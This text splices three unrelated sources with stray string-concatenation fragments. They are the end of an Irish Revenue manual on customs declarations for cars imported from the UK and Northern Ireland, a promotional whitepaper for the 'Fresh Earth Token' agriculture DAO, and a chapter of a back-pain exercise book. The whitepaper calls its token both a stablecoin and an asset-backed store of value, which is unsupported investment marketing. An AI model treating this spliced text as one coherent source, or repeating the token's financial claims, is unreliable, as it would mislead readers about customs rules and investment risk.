office of lodgement Code i.e. “IEDUB100” would be Dublin Port\nGUARANTEE\nIf applicable\nTax and Duty Manual Importation of Motor Vehicles from the UK\n15\nGOODS SHIPMENT\nDOCUMENTS, CERTIFICATES, AUTHORISATIONS\n2/01 Simplified declaration/ Previous documents/ Writing-off\nDocument Type - 337 - Temporary Storage\n2/2 00500 if declarant and importer are the same. Declarant must be registered for EORI\nDocument Type: N380 – Invoice Number\nDocument Type: 1D24 - Estimated Time of Arrival of the goods into the State in the format\n(CCYYMMDDHHMM)\nDocument Type: 1A05 – IEPOSTPONED (if VAT registered and applicable)\nDocument Type: N730 - Road consignment note\nDocument Type: 1D96 – Release from Temporary Storage\n2/03\nDocument Type: N934 – Declaration of particulars relating to customs value D.V.1 – Enter into “ID” – Y\nif Goods are over 20,000 value\nOne of these codes are used where the Vehicle is UK origin, 4/17 is 300 & 4/17 is GB\nU116- Where the claim for preferential tariff treatment is based on a \'statement on origin’ for a single\nshipment\nU117- Where the claim for preferential tariff treatment is based on ‘importer’s knowledge’\nU118- Where the claim for preferential tariff treatment is based on a \'statement on origin’ for multiple\nshipments of identical products\nPARTIES\n3/16 Importer Box - Importer EORI number\n3/15 Blank\n3/25 Enter if valid EORI number exists otherwise details are typed into 3/1\nVALUATION INFORAMTION\n4/1\nDelivery Terms\nIncoterm Code - CIF; Cost, insurance & freight, unless invoice says different\nUN/LOCODE - E.G.; IE DUB 100\nDATES & PLACES\n5/8 Country of destination code - Ireland\n5/9 Blank\n5/14 Country of dispatch /export code - GB\nTax and Duty Manual Importation of Motor Vehicles from the UK\n16\n5/23\nLocation of Goods\nLocation of Goods ID - E.G.; IE DUB 100\nQualifier of the Identification - U - UN / LOCODE\nType of location Code - B - Authorised place // B - Authorised Place\nClick on the “Address” Tab -Country Code - IE - Ireland\nGOODS INFORMATION\n6/5 Gross Mass\n6/18 Total Packages\nTRANSPORT INFORMATION\n7/2 Container - 0 IF No, or 1 for Yes\n7/4 Mode of transport at the border - 1 – SEA TRANSPORT\n7/5 Inland mode of Transport - 3 – Road (Accompanied)\n7/9\nIdentity of Means of Transport at Arrival:\nType of Identification - 30 – Registration number of road vehicle\nIdentification Number - Car Registration number\n7/10 \uf0e0 If you entered 1 for Yes in 7/2 for container then enter the container number here\n7/15\nNationality of active means of transport crossing the border\nDepends on country transporting goods;\nAer Lingus - GB United Kingdom\nNOTE:\nIn a single item Declaration some details need to be repeated in Goods Shipment\nand Goods Shipment Item such as price and weight.\nIn a multi item Declaration, the individual price and item weight of each entry will\nneed to be entered in Goods Shipment Item and the total price and weight of the\nshipment in the Goods Shipment. The reason is that the system adds the individual\nprices /weights and compares them to the total.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n17\nGOODS SHIPMENT ITEM\nGENERAL INFORMATION\n1/6 Good Item Number - 1 Item declaration 1 etc\n1/10\nProcedure\nRequested Procedure Code - 40 - Release for free circulation\nPrevious Procedure Code - 00 - No Previous procedure\n1/11\nClick + button to Add\nAdditional Procedure\nCustoms Procedure - 000- other\nDOCUMENTS, CERTIFICATES, AUTHORISATIONS\n2/01 Blank when filled in on Goods Shipment level\n2/2 Blank\nDocument Type: 1D97 – VIN (Vehicle Identification Number)\nTypical release codes for a car. However, these are subject to change. TARIC must be consulted\n“Document Type” - Y053 & “ID” - NAI\n“Document Type” - Y951 & “ID” - NAI\n2/03\n“Document Type” - Y923 & “ID” - NAI\nVALUATION INFORAMTION\n4/13 Valuation Indicators - 0000 - No Relationship - No disposal restriction - No sale condition - No sale\narrangement\n4/14 Item price / amount - Value from invoice –\nSame as Goods shipment if single item Declaration.\n4/16 Valuation Method - 1 - Transaction value of the imported goods\n4/17\nPreference - 100 – Erga Omnes third-country duty rates\nPreference - 300 – If country of origin is GB\nPreference - 100 – If country of origin is EU\nDATES & PLACES\n5/8 Country of destination code - Blank (it is filled into Goods Shipment level)\n5/9 Region of destination code - Blank\n5/14 Country of dispatch / export code - Blank (it is filled into Goods Shipment level)\n5/15 Country of origin code - GB – United Kingdom\n5/16 Country of preferential origin code - GB – United Kingdom\n5/31 Date of acceptance - Blank\nGOODS INFORMATION\n6/8 Description of Goods – Passenger Car etc.\nGoods Measure\n6/1 Net Mass – If available on invoice enter weight per item. If not available enter gross mass\nTax and Duty Manual Importation of Motor Vehicles from the UK\n18\n6/2 Supplementary Units – Enter per item based on information on TARIC\n6/5 Gross Mass – If available on invoice enter weight per item (on a single shipment item this then is the same\nas Goods Shipment 6/5).\nPackaging\n6/9 Type of packages - VN Vehicle\n6/10 Number of packages - 1\n6/11 Shipping marks - Vehicle Reg\nCommodity Code\n6/14\nCommodity Code - CN Code - 870321 - 9000- used car; -1000- new car i.e. 8703211000\nFor Imports, the CN code is entered at Data Element 6/14 (8 digits) and 6/15 (last 2 digits) of the AIS\ndeclaration.\n6/15 Commodity code -TARIC code - Last 2 digits - 00\n6/16 Commodity code - TARIC additional code(s) - For Used Cars enter “4999”\n6/17 Commodity code - National additional code(s) - VATS – Standard Unless Stated\nTRANSPORT INFORMATION\n7/10 Container Identification Number\nOTHER\n8/6 Statistical Value –Same as 4/14 item price / amount\nAPPLICATION AND AUTHORISATION\nIf applicable\nOPTIONAL - Returned Goods Relief (if relevant)\n1/10 6123 (re-import after temporary export)\n6110 (re-import after permanent export)\n1/11 F01 Duty Relief\nF05 Duty & Vat Relief\n2/03 If vehicle was originally exported from IE – DE 2/3 enter code 1Q27 and MRN of original export declaration\nTax and Duty Manual Importation of Motor Vehicles from the UK\n19\nAppendix 3: Importing Vehicles from Northern Ireland\neCustoms Helpdesk\nNotification\nRef: 44/2021\nSubject: Importing vehicles from Northern Ireland (NI)\nWho should read: All those involved in importing vehicles\nRelated Notification: eCustoms Helpdesk Notification Refs: 32/2020, 36/2020\nand 24/2021\nThis Notification replaces eCustoms Helpdesk Notification\nRef: 26/2021\nIssued by: eCustoms Helpdesk\nQueries to: For technical queries on the submission of a customs\ndeclaration:\neCustoms@revenue.ie or 01-7383677.\nFor Brexit related questions: brexitqueries@revenue.ie.\nFor VRT queries:\nhttps://www.revenue.ie/en/contact-us/customerservice-contact/vehicle-registration-tax-vrt.aspx\nIssue Date: 14 July 2021\n1. Introduction\nFollowing the withdrawal of the United Kingdom (UK) from the European Union (EU),\nan import of a vehicle from Great Britain is treated as an import from a third country,\ni.e. a non-EU country. If a vehicle is imported from Great Britain (GB) into Ireland,\nthe importer is required to complete a customs declaration prior to import and pay\ncustoms duty, if applicable, and VAT at the standard rate. It will not be possible to\nregister the vehicle if an import declaration has not been filed. Under customs law,\nVAT at import is chargeable on the customs value of the goods. The fact that VAT has\nbeen charged in Great Britain on used vehicles subsequently imported into the State\nhas no bearing on their liability to VAT at import when imported into the EU.\nUnder the Protocol on Ireland and Northern Ireland, Northern Ireland will continue\nto apply and adhere to EU rules in relation to trade in goods with the result that\nthere are no customs formalities, including customs declarations or payment of\ntariffs, on trade between Ireland and Northern Ireland.\nHowever, on 14 January, the UK introduced significant changes to the UK VAT margin\nscheme for used cars imported from Great Britain into Northern Ireland. These\nchanges mean that vehicles first registered in Great Britain (GB), and subsequently\nregistered in Northern Ireland after 31 December 2020, will be subject to temporary\nadditional requirements if imported into the State. These additional requirements\nTax and Duty Manual Importation of Motor Vehicles from the UK\n20\nmust be completed prior to presenting the vehicle for registration at an NCT centre.\n2. Requirements to register a vehicle in Ireland\nWhere a second hand car has been imported from Great Britain since 1 January 2021\nand the customs formalities were completed in Northern Ireland, the person wishing\nto register the car in Ireland should first contact Revenue as there will be a VAT\nliability that needs to be discharged prior to registering the vehicle for VRT. A\n‘Supplementary Import Declaration– VAT on import’ must be made to Revenue in\nrespect of margin scheme and qualifying cars.\nRevenue will request verification that the customs formalities have been completed\nin Northern Ireland (a Trader Support Service simplified frontier or supplementary\ndeclaration will suffice where the vehicle is identified but an Entry Summary\nDeclaration (ENS) declaration will not be accepted). Once the VAT (charged at the\nstandard rate) is either paid or accounted for (in the case of VAT registered\nbusinesses only), Revenue will provide the necessary documentation to the\ncustomer for presentation to the NCT centre. The NCT centre will only accept the\nRevenue provided documentation for such vehicles.\nIf proof cannot be provided that customs formalities have been completed in\nNorthern Ireland, then an import declaration will need to be made in Ireland.\nAs noted previously this is a temporary arrangement until the situation in regard to\nVAT at\nimportation is regularised for cars imported from Great Britain to Northern Ireland.\nThis is currently being discussed between the European Commission and the UK\nGovernment.\nThe person seeking to register the vehicle in Ireland is responsible for ensuring that\nprocedure outlined above is adhered to.\n3. Registering vehicles without proof of declaration to customs in Northern Ireland\nIf you do not have proof of declaration to Customs in Northern Ireland (NI) you must\ncomplete a customs declaration and pay customs duty if applicable, and ValueAdded Tax (VAT) on the import value of the vehicle. This must be done before\npresenting the vehicle for registration.\nKey details on how to complete the declaration on Revenue’s Automated Import\nSystem (AIS) are outlined below.\nCars coming from Great Britain via Northern Ireland that require a H1 declaration\nsubmitted to AIS\n• Data Element (DE) 1/2: Declaration Type – A\n• DE 1/6: Goods Items Number – 1 – 1 vehicle being imported\nTax and Duty Manual Importation of Motor Vehicles from the UK\n21\n• DE 1/10: – Procedure Code – 4000 (unless returned goods relief is\nbeing claimed – see below)\n• DE 1/11 – Additional Procedure Code – 000 (unless returned goods\nrelief is being claimed – see below)\n• DE 2/1: previous document field - a commercial invoice number\n• DE 2/3: additional information:\no N730 1234 – this is the transport document. There is usually a\nspace between them\no 1D96 1 – a code to avoid putting in ship information\no 1D97 VIN (vehicle identification number)\no 1D24 CCYYMMDDHHMM – time of the arrival of the goods into\nthe State\n• DE 2/5: Local reference Number – unique number chosen by you for\nyour internal records\n• Customs Office of Lodgement: IEDUB100\n• DE 5/8: Country of Destination – IE\n• DE 5/23: Location of goods code: IEDUB100, Location type code: B,\nQualifying identifier: U\nDE 6/8: Goods description – free text e.g. car DE 6/14: Classification\nCode (CN)\n• DE 7/4: Mode of Transport at the Border – should be 1\n• DE 7/5: Inland mode of transport -should be 3\n• DE 7/9: Identity means of transport = 30 – include vehicle registration\nnumber\nOPTIONAL\nReturned Goods Relief (if relevant)\n• DE 1/10 – relevant procedure code – either 6123 (re-import after\ntemporary export) or 6110 (re-import after permanent export)\n• DE 1/11 – additional procedure code – F01 duty relief or F05 duty and\nVAT relief. F05 can only be declared for goods re-imported by the\nsame person who exported them.\n• DE 2/3 - If car was originally exported from IE/EU –DE 2/3 enter code\n1Q27 and MRN of original export declaration\nUK Origin Goods Claiming Preference (if relevant)\n• U116/U117/U118 - code to claim preferential origin if UK origin\n• DE 4/17: Preference – 300\n• DE 5/16: Country of Preferential Origin Code – GB\nEU Origin Goods (if relevant)\n• DE 4/17: Preference – 100\nTax and Duty Manual Importation of Motor Vehicles from the UK\n22\n• DE 5/15: Country of origin code – EU\nPostponed Accounting (if relevant)\n• 1A05 – IEPOSTPONED – to trigger Postponed Accounting\nNOTE: Further data is required to complete the full customs declaration.\n4. Additional Information\nMore information on Filing a Supplementary Import Declaration form can be found\nhere:\nThe EU-UK Trade and Cooperation Agreement (TCA) has eliminated tariff duties for\ntrade between the EU and Great Britain where the relevant rules of origin are met. If\nthe goods are of UK origin, then a 0% tariff rate applies. Under the terms of the TCA,\ngoods of EU origin that were in use in the UK and that were subsequently imported\ninto Ireland from Great Britain will not be eligible for the 0% tariff rate as they will\nnot qualify as UK origin under the rules of origin.\nTo import a car of EU origin from Great Britain into Ireland, a customs declaration\nmust be completed. Customs duty of 10% applies on the customs value of the car.\nThe customs value is the invoice price plus the cost of transport and insurance. VAT\nat the standard rate is calculated on the customs value plus customs duty.\nThere is a Returned Goods Relief available for vehicles subject to strict EU conditions.\nVehicles can be exported from the EU to a 3rd country and re-imported into the EU\nwithout the payment of Customs Duty provided all the required conditions for\nReturned Goods Relief are met. In very specific circumstances, relief from ValueAdded Tax may also apply where the vehicle is re-imported into the EU by the same\nperson that originally exported the goods out of the EU. Details of how to claim\nreturned goods relief for cars is on eCustoms Helpdesk Notification Ref 24/2021.\nIf the car is of UK origin, it is important to note that the preferential tariff treatment\nmust be claimed on import on the Customs declaration. Details on how to do this are\nalso available on eCustoms Helpdesk Notification Ref 36/2020.\nPostponed accounting for Value-Added Tax (VAT) on imports is available to all\ntraders that are registered for VAT and Customs and Excise. The traders must fulfil\ncertain conditions. Further detail is available on eCustoms Helpdesk Notification Ref\n32/2020.' +"The increasing pressure on farmers to produce more using unsustainable practices, can lead to overuse of resources, and soil degradation, further exacerbating the aforementioned issues and costs, leading to potential food insecurity and economic instability.\n\nIn conclusion, the industrial agriculture industry is facing a multitude of challenges that threaten global food security, economic stability, and human health. These issues, if left unaddressed, will result in staggering costs for society. It is imperative that we take action now to address these challenges and transition to sustainable and equitable food systems.\n\nOn the other hand these costs represent an opportunity. They can be mined and used as fuel to drive a regenerative economy instead of a degenerative economy.\n\nThe solution - Internalization of costs\nImagine a world where the true cost of industrial agriculture and other industries are accounted for in our economic system. Instead of incentivizing farmers and companies to adopt unsustainable practices, such as monoculture and heavy use of chemical inputs, we would be encouraging them to adopt sustainable, regenerative practices that benefit both the environment and human health. This can be achieved by implementing fees on pollution and the use of resources, such as carbon and water.\n\nInternalizing these costs not only benefits the environment, but it also leads to greater innovation, efficiency, job creation, and ultimately lower costs for society as a whole. Additionally, by implementing a fee and dividend system, where a portion of the fees collected are distributed back to the public, we can ensure that this solution is not regressive and that the most vulnerable members of society are not disproportionately impacted.\n\nHowever, few governments have taken the necessary steps to implement this solution (only Austria switzerland and six canadian provinces have implemented a fee and dividend on carbon pollution). That's where the Fresh Earth token comes in. By utilizing blockchain technology, the Fresh Earth token aims to create a transparent and verifiable impact for sustainable agrifood projects, and stimulate investment in regenerative agriculture. By taking this approach, we can work towards a future where the cost of destroying our environment and human health is no longer externalized, but internalized and paid for by those who are causing the damage.\n\nThe opportunity\nThere is a growing demand for change in the food industry, driven by consumers who are increasingly concerned about the quality and sustainability of their food. Digitization and the lack of it in the supply chain also creates an opportunity for innovation and disruption in the agricultural industry. The Fresh Earth ecosystem is designed to address these issues and create a more sustainable, resilient food system.\n\nThe opportunity to create positive impacts by transforming the Agri-food industry is enormous and many are now pursuing it.\n\nAgriculture and food could be the biggest solution by regenerating land and health.\n\nAn Agri-Food revolution is already underway.\n\nHundreds of billions of $ are looking to invest in it.\n\nAgri-food and health are each $10T global industries, with a combined true cost of $50T.\n\nIf people had to spend twice as much to get Regen food, it would still be cheaper + healthier.\n\nAgri-food is the least digitized of the major industries.\n\nIn the US, 40% of produce is wasted and food loss accounts for 8% of GHG gas emissions.\n\nConsumer awareness and demand for more eco-friendly & healthy food is rapidly growing.\n\nThe industry is fragmented with duplication of effort and gaps in existing approaches, and limited coordination between new initiatives. Solutions lack scale and synergy.\n\nRegenerative agriculture is currently being adopted to millions of hectares globally.\n\nHigh tech methods, including for measurement and validation, are rapidly progressing.\n\nGov. and private initiatives, including the X prize, will boost everything.\n\nNone of this is big and fast enough to regenerate faster than we degenerate.\n\nThis means huge opportunity if approached at scale and with ‘outside the box’ solutionsThe Fresh Earth Ecosystem\n\n3. The Fresh Earth ecosystem\nThe Fresh Earth ecosystem is a revolutionary solution for transforming the agri-food industry and addressing pressing issues of climate change, health, and food security. By creating a global, community-based food system, Fresh Earth empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. The system is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem. By incentivizing participation and engagement, the Fresh Earth token driven system acts as an impact generation machine at scale, driving participation, investment, and the transition to regenerative practices.\n\nThe Fresh Earth ecosystem is composed of several key components that intermesh to drive participation, investment and the transition to regenerative practices. These include:\n\nFresh Earth Token: At the heart of the ecosystem is the Fresh Earth Token, a powerful tool that represents fractional ownership of the food ecosystem business, serving as a store of value that can be held by stakeholders as a liquid financial reservoir, retaining its value and purchasing power over time. It leverages the future impact of regenerative projects to secure external funding from government schemes such as carbon trading, and ESG investors. it also drives the Rewards System, incentivizing participation and engagement of stakeholders within the ecosystem, including farmers, consumers, and investors, towards the common goal of regenerating land and promoting sustainable practices. \n\nData Managment Platform: Based on key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density, this is a science-driven approach to measuring and validating the impact outcomes of regenerative practices and projects. It uses an open-source sandbox environment for data access and analytics, providing transparency and accountability for stakeholders. The immense amount of data gathered over time will be a monetizable value to a world in transition.\n\nB2B Marketplace - (B2B): A digital platform connects farmers on the regenerative pathway with businesses, reducing costs and risks for farms and allowing businesses to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Project Management Platform is a comprehensive solution for the design, implementation, and commercialization of validated health and farm programs. It operates as a B2B marketplace that brings together various stakeholders, including health experts, farm experts, suppliers, end users, and universities, government, and policy makers, to ensure high-quality programs that meet the needs of all parties involved. The platform offers a range of tools and features, including project creation and management, data analysis and visualization, B2B marketplace support, validation systems, and group management tools, all powered by cutting-edge technology. The technology stack, which combines server-side, front-end, database, and cloud-based technologies, ensures the platform delivers its key features and benefits, including increased innovation, reduced costs, increased efficiency, rapid innovation, and shared knowledge. The platform's goal is to support the transition towards a regenerative, healthy, and transparent food system and drive positive change in the agri-food industry.\n\nRewards System: This component Incentivizes participation and engagement within the ecosystem by rewards stakeholders for their contributions that recognizes the value of their participation, promoting transparency and decentralization in the management of the food ecosystem business.\n\nThese components work together to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe sophisticated tech platform is designed so that the Ecosystem operates as a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. \n\nA Decentralized Autonomous Organization (DAO) is a digital organization that is run by a set of rules encoded in smart contracts on a blockchain network. The rules and governance of a DAO are determined by its token holders, who have ownership over the organization through their possession of the organization's native token. Transactions and decisions within a DAO are recorded on the blockchain, providing transparency and immutability. DAOs are often created to manage decentralized projects or communities, and can operate without the need for a central authority or intermediary.Logic of Fresh Earth and the Token.\n\nThis structure allows investors to participate in the growth and success of the ecosystem and share in the value generated. To facilitate efficiency the Fresh Earth DAO includes multi-tiered governance and decision-making, with a board of directors, advisory board, and a voting system for major decisions, as well as systems for transparently tracking and reporting the use of funds and the impact of the ecosystem to provide added security and accountability for the investors.\n\nThe Fresh Earth ecosystem is a perfect example of how tokenization can be used to create a more equitable and sustainable world, with the power to drive real change and make a positive impact on the planet and society. It's unique combination of token archetypes, underlying value and network value, makes it a strong and adaptable mechanism for promoting the growth and success of the regenerative agriculture ecosystem.\n\n4. Tokennomics\nToken name and symbol: \nFresh Earth Token (FET)\n\nToken Overview \nThe Fresh Earth Token (FET) is the backbone of the Fresh Earth ecosystem, serving as a means to pull the future impact of regenerative projects to the present to fund the projects; and also as the primary means of incentivizing participation and engagement of stakeholders, including farmers, consumers, and investors. \n\nThe Fresh Earth token is designed to contribute to the transition towards a more sustainable and regenerative food system, and address the pressing issues of climate change and environmental degradation in the agricultural industry. It incentivizes regenerative agricultural practices and enables investment in sustainable agrifood projects by creating a token economy that rewards farmers, consumers, and impact investors for their participation in the regenerative agricultural ecosystem. \n\nThe Fresh Earth Token is more than just a financial instrument; it is a tool for change. It gives individuals and businesses choice and tools to actively participate in the transition to a more sustainable, healthy and regenerative food system, ensuring that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices, while also providing a store of value and an opportunity for profit. \n\nToken Structure\nThe token represents fractional ownership of a decentralized autonomous organization (DAO) that facilitates the food ecosystem business. It is used to access and participate in the Fresh Earth ecosystem, to make decisions in the governance of the ecosystem and to serve within the community of regenerative farmers, consumers, and impact investors. \n\nThe token operates through a set of algorithms that are designed to generate verifiable impact within the ecosystem. These algorithms take into account the actions and participation of all stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices.\n\nThe underlying value of the Fresh Earth Token is derived from the worth of the stakeholder-owned Fresh Earth ecosystem, along with the valuation and monetisation of the impacts of regenerative projects. The value of the ecosystem is determined by the stakeholders, while the impact of regenerative projects is measured by key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density. These KPIs provide verified measurements of impact that can be leveraged to secure external funding from government schemes and investorsI. Introduction\n\nToken Classification\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas." +'CHAPTER NINETEEN\n Congratulations! And One Last Assignment\n From Chris and Jeremy\nFrom Chris\nFirst of all, congratulations. You have read and (let us hope) absorbed the critical pieces of the James Protocol. That’s the big deal; the vast majority of you are now equipped to work on your own to end or radically reduce your back pain, forever. Let me recap: You have learned some moves to help you step out of back pain in the short term so that you can embark on the regimen of exercises and movements that are going to solve the problem in the long term. You have learned how to stop doing the things that got you into this mess in the first place (“stop doing dumb stuff”). You have also learned how to build up endurance and strength in your core. Finally, you have learned how to move in all dimensions while maintaining a neutral spine and bracing your core. That is, you have learned how to move in daily life and do moderate exercise, without hurting your wretched back. Overall, you have learned how to behave differently, and that will make all the difference. Nice work. Very, very nice work. Continue with what you’ve learned and do the basic exercises every day (hey, it’s only for the rest of your life), and there is every reason to hope that most of you will be pain-free (or almost pain-free) from now on. Read the book again, from time to time, be rigorous about doing the exercises, and you’re there.\nAlmost.\nThere is one more area that we have not covered (a book like this can be only so long) but which we want you to think about. And act on. Note that I said above that you were ready for “moderate exercise.” Fine, if that’s what you want. But if, as we hope, you decide to move back into the strenuous exercise that is such a joy to so many of us—the rugged skiing, the flat-out tennis, the golf, the yoga, and so on—you should think seriously about doing more than we have been able to tell you in the compass of this book. For you—and, frankly, for almost everyone—it makes a lot of sense to adopt a more comprehensive and demanding program of strength training than what we have outlined thus far in order to really strengthen your core and prepare to meet the special demands (for back-pain people) of serious exercise. Others may embark on serious exercise without doing all the core work (maybe), but those with a history of a bad back do so at their peril. Not a good idea. \nAs I say, we just can’t do it here; it is almost another whole book. But we do have two great leads for you and some specific things to focus on (and avoid) as you turn to this phase.\nFirst, the ideas.\nFor a general, non-back-specific approach to strength training, you cannot do better than to get your hands on the book Younger Next Year: The Exercise Program. It is a short but cutting-edge outline of strength training (with exercises by the brilliant Bill Fabrocini) as well as aerobic exercise, which is also key to your long-term recovery. It is not specifically back-oriented, but Bill Fabrocini is very sophisticated about back issues and his general strength-training guidance will serve you well. (Also, I cowrote it, so it is intermittently readable.)\nMore specifically, Jeremy has just completed a truly remarkable, video-based guide to back pain and exercise (of all kinds) called BackForever.com. As I now know so well, when it comes to back issues Jeremy is an absolute hound for precision, scientific soundness, and detail, and he has worked his tail off to make his subscription video protocol (with some 150 separate videos on absolutely everything) as good and comprehensive as video can be. I have seen ’em, and they’re amazing.\nActually, if it were my back, I’d buy the book (it’s cheap) and subscribe to BackForever.com (the price of a couple of sessions with a personal trainer). If you do the same, we guarantee you’ll end your back pain and live happily ever after. No, we don’t, but damn near.\nBefore we turn you loose, we want to give you some warnings about strength training in general and a couple of specific tips about things to avoid. \nTHE BODYBUILDING BLUNDER\nThe first step for a lot of us, as we turn to strength training, is to “get over” the “bodybuilder” or “muscle isolation” mentality of the 1960s and ’70s and beyond. In those decades, the new exercise machines—Nautilus and others—were all in vogue, as was the focus on bodybuilding, thanks in significant part to Arnold Schwarzenegger and the movie Pumping Iron. The idea was to build big biceps (“guns”), huge quads, and whatnot. And to become strong. Then I guess you head down to the beach so Gidget and the Baywatch babes could swarm around. And the way you built those guns and whatnot, mostly, was with the nifty new weightlifting machines, especially the Nautilus gadgets. The ostensible genius of the Nautilus machines was that they gave constant stress across the full range of a rep. True, too, and a good idea. But the real appeal of the machines, I bet, was that in some curious way they made weightlifting “easy.” You still had to hoist heavy weights and grunt and sweat and stuff. But the machines did a lot of the hardest and most subtle work. They took all the balance out of strength training. And most of the coordination. Which permitted you to do what bodybuilders wanted to do then which was to isolate and grow the big muscles: the quads, your pecs, your biceps, and so on. It was much easier to do all that if you did not have to bother with the pesky business of balancing and stabilizing yourself. \nIn the normal course of weight training (when you were not using strength machines), stability (and coordination) was mostly the work of little support muscles and groups of muscles surrounding the big muscles. The machines did most of that for you. Which was nice. Except for this: The little guys—the support muscles—atrophied or died. Which was dangerous and dumb. \nBecause our body is designed to work—virtually all the time—on a fully integrated, whole-body basis. And that is impossible without the help of the little guys. Athletic movements (and most real-life movements) do not use isolated muscles; they use the whole shebang. Movement and exercise is orchestral, not a series of solos. Every lift in the real world is a whole-body affair. Isolating the big boys while letting the little guys go to hell was an absolutely awful idea. Bill Fabrocini (one of the great leaders in the whole-body training field and coauthor of two Younger Next Year books on the subject) sees hundreds of well-intentioned, serious people now in their sixties and seventies who have been “muscle isolation” weightlifters all their lives. They have huge muscles and can hoist great weight with them. But for the activities of daily life or normal exercise, they are weak as kittens. They are wretched athletes (if they can move at all). And often their backs and necks are aching ruins. Because the little muscles, which are key to whole-body movement, have gone to hell and their bodies are agonizingly out of alignment. It is possible to save these poor souls but it takes forever. Unsurprisingly, it is mostly a matter of teaching them to get over the machines and the muscle isolation model and learn whole-body, integrated workouts. Mostly you use your own body weight in integrated exercises, without machines. (Note: You do not have to give up machines completely; they can be a useful supplement to a whole-body regimen, if used properly.) \nDid that help? I hope so. Because it is important to grasp the significance of integrated, whole-body strength training. It is only integrated, whole-body movement that is going to build the kind of strength and movement patterns that are going to enable you to return to those higher risk activities. And make no mistake: You are almost certainly going to have to develop a much stronger core if it is going to be able to do its great job in protecting your back for serious exercise. \nFrom Jeremy\nLet me expand upon the muscle isolation theme a bit. Often it may be necessary to isolate muscles when deficiencies are present in those particular muscles, to reestablish strength and balance within the body so that a full-body exercise can be performed properly. But, after these rehabilitative goals are accomplished, integrated movement using the core for stability while incorporating balance is essential. With most machines, you are sitting there, exerting maximum force across one joint—your elbow, say—while the machine does all the stabilizing and balancing. That puts dangerous amounts of load across that joint. Bodybuilding focuses on developing muscle hypertrophy, meaning an increase in muscle mass. A specific muscle or set of muscles is isolated with a machine and moved against resistance until that muscle gets big. Various muscles throughout the body are put through this process individually to achieve a certain look, with no thought given to linking the muscles together to mimic the movements of sport or daily activities. This does nothing to train the muscles and muscle systems to move . . . to work together for maximum efficiency and minimum joint damage. As we age, it is crucial to challenge the systems in our bodies that maintain balance and stability. As the saying goes, use it or lose it. \nInstead of bodybuilding, we want you to think of training muscle systems and movements. A maxim I hear Bill say all the time that is common in the profession is “Train movement, not muscles,” and he’s absolutely right. Your goal in the gym is to build up the systems of muscles that support the movements of daily life, work, and sport, not to build “guns” for the beach. \nYou also need to get out of the mind-set that to work your core you must be doing core-specific exercises. It doesn’t work that way. All whole-body exercises are core exercises. The core muscles are designed to stop movement, not produce movement. Think about that for a minute. The core muscles are there to stop your spine and torso from moving while loads are applied through the arms and legs. Their primary function isn’t so much to move the torso as to keep it still. For example, if you are standing on your own two feet with nothing to lean against and pull a cable that has resistance, it is your core that is keeping your body from twisting and becoming off balance when you pull the cable. The stronger the resistance on the cable, the stronger your core has to be to resist that resistance. Juxtapose this with sitting on a “seated row” machine, where your chest is against a pad and you pull enormous amounts of weight, straining against the pad to keep your body in place, and you get the picture. \nDETAILS\nJust as in your daily exercises laid out in painstaking detail in this book thus far, the specific little details matter in strength training with weights, too. In fact, the stakes are higher because the load is higher and there is far less room for error. Regarding weight training, your goals dictate the degree of risk you are willing to assume. All weight training requires you to assume some degree of risk. If your goal is to get back to being an NBA center, that risk is pretty high because we are going to subject you to enormous loads in somewhat dangerous positions, but it’s worth it if you need to get back to your multimillion-dollar-a-year job. If your goal is to get back to being a grandma who can safely pick up her grandchild, the risk is much lower. And if your goal is to get back to recreational golf a few times a week, your risk is somewhere in the middle. It is for these reasons and because of the complexity of the movements we are discussing that presenting a one-size-fits-all strength-training regimen in this book is nearly impossible. Therefore we decided that rather than present you with an inferior product, we would give you an overview of the general information here and present you with some options to further your interests in a much more individualized way. \nAs you know, Chris and I are both huge fans of Bill Fabrocini’s warm-ups and exercises in Younger Next Year: The Exercise Program. They provide a superb foundation for general strength training. If you want a more customized workout tailored to the protection and strengthening of your back check out my BackForever.com online membership program with streaming videos and other content referred to in the Appendix. It was my goal to make it the definitive, visual guide in this area.\nAnother option of course is to hire a personal trainer until you get comfortable with the do’s and don’ts of strength training. A great personal trainer can be a huge help. But be warned, personal trainers vary wildly in skill level and knowledge. It can be very difficult to find a good one. Asking potential trainers if they are familiar with the concepts we talk about in this book is a good starting point. Also ask how much experience they have with working with clients with back pain. Ask them for referrals and interview those people if possible. Chris and I hope to solve the problem of finding a good trainer by creating a certification program down the road. Depending 